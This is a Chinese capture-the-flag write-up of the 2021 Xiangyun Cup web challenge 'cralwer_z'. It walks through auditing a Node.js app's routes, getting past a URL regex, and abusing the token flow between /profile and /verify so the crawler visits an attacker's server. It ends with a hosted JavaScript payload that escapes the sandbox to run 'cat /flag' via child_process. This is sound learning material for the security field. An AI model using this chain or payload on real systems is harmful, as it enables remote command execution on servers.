[2021祥云杯]cralwer_z
这题我在buu上做的,直接给源代码了,不知道比赛时是不是也这样
这个文件的目录就是这些东西,还是js代码,有点烦,话不多说,审代码还是正常的从路由开始审起吧.这里提一下,我审代码喜欢先看各个路由,然后找危险函数,逆着去找利用链,我觉得这样的查找效果较好
先看index.js的,这里的就是简单的注册代码,没啥有价值的
接下来看一看user.js吧
我大致全局搜索试了一下,好像没有什么危险函数,那就只能慢慢审了呗。大致看了下我看到bucket路由有些请求头好像要发包的样子,我决定从这个路由开始看
可以看到它正则匹配user.bucket是否符合要求后,下面新建了一个Crawler类的对象page,而这page的属性据然是一些包的请求头,盲猜一会会发包,接着下面page就调用了goto方法
不难看出goto方法里面实现了this.crawler.visit()方法,而这个visit方法会去访问一个我们传入的url,那不出意外,利用点就是这里了。
现在我们回过头来看一看,这个url就是我们的user.bucket,我们要把想办法把它构造成我们的url
要利用首先最基本的就是要绕过正则
这个正则要求我们的url必须要包含oss-cn-beijing.ichunqiu.com ,因此我们可以在url的结尾跟上oss-cn-beijing.ichunqiu.com, 从而实现绕过,即类似于:http://IP/index.html?aaa=oss-cn-beijing.ichunqiu.com。或者直接#.oss-cn-beijing.ichunqiu.com
这个路由的bucket绕过搞定后,我们来看看bucket在其他地方的利用和变化
按顺序来先看/profile吧
这个路由前面是一些用户信息的校验
接着它会更新一些用户的信息,其中就有 personalBucket: bucket,即bucket的值给personalBucket,再接着下面根据用户信息生成了一个token
生成完token后,它会让bucket进行正则匹配,如果成功的话就可以将我们刚刚生成的token打印出来
到这里/profile就结束了,接下来看看下一个/verify
哦吼,这个路由先校验token然后根据token获取其中的信息
接下来,如果成功提取了token中的信息,先让token失效,也就是说一个token只能用一次
接下来根据token中获取的信息,更新用户的信息,注意这里有bucket: user.personalBucket,即ersonalBucket的值给bucket
再后面一些代码就没什么了,就是一些判断用户信息是否成功更新。
到这里所有路由的代码我们已经看完了,bucket的变化我们也了解了,现在讲一下怎么拿flag
这里得再提一下/profile和/bucket的正则这里,它们的正则过滤规则是一样的
所以我们的思路是:
1.要先访问profile,bucket的值要满足正则,可以产生一个token,这时候他想跳到/verify我们是不允许的,因为此时的personalBucket的url不是我们vps的url,而且这个url也满足了正则的匹配,这个到后面的/bucket路由就不能爬虫了。
2.所以这个时候我们要再发一个包去/profile,他的bucket的值是我们的vps地址且可以绕过那个正则,成功发包后personalBucket的值就是我们的vps地址了
3.这个时候再让产生token那个包重定向到/verify,此时personalBucket的值会给bucket上,所以这时bucket就是我们的vps地址了
操作流程如下:
首先开BP抓包,点下profile页面的updata即可,抓到后直接go拿到token
这里这个包就卡在这,然后在这个页面再点次send to repeater,相当于把这个包的内容复制下
这个时候把包的发送内容改下,主要就是改成自己的vps地址,直接go发送,这里可以看到它返回的信息中提示 “Admin will check if your bucket is qualified later.” ,看代码就知道这表明bucket的值成功覆盖
affiliation=1&age=1&bucket=http://vps/?oss-cn-beijing.ichunqiu.com
之后回到tag9,也就是我之前发了包后获得token那个包,它的上面有个“Follow Redirection”重定向,点击后可以看到返回的内容中bucket已经变成了我们的vps地址
访问profile可以看到bucket已经成功更新
接下来我们要在我们的vps上挂一个常用的js脚本读flag
<script>
a=this.constructor.constructor.constructor.constructor('return process')();b=a.mainModule.require('child_process');c=b.execSync('cat /flag').toString();document.write(c);
</script>
将上述代码写入index.html,后,我直接用python httpserver挂
然后在浏览器上访问user/bucket即可获取flag
这题到这里算是做完了,这里再插一句,这题在buu上的环境可能有限制,我试了反弹shell但是弹不了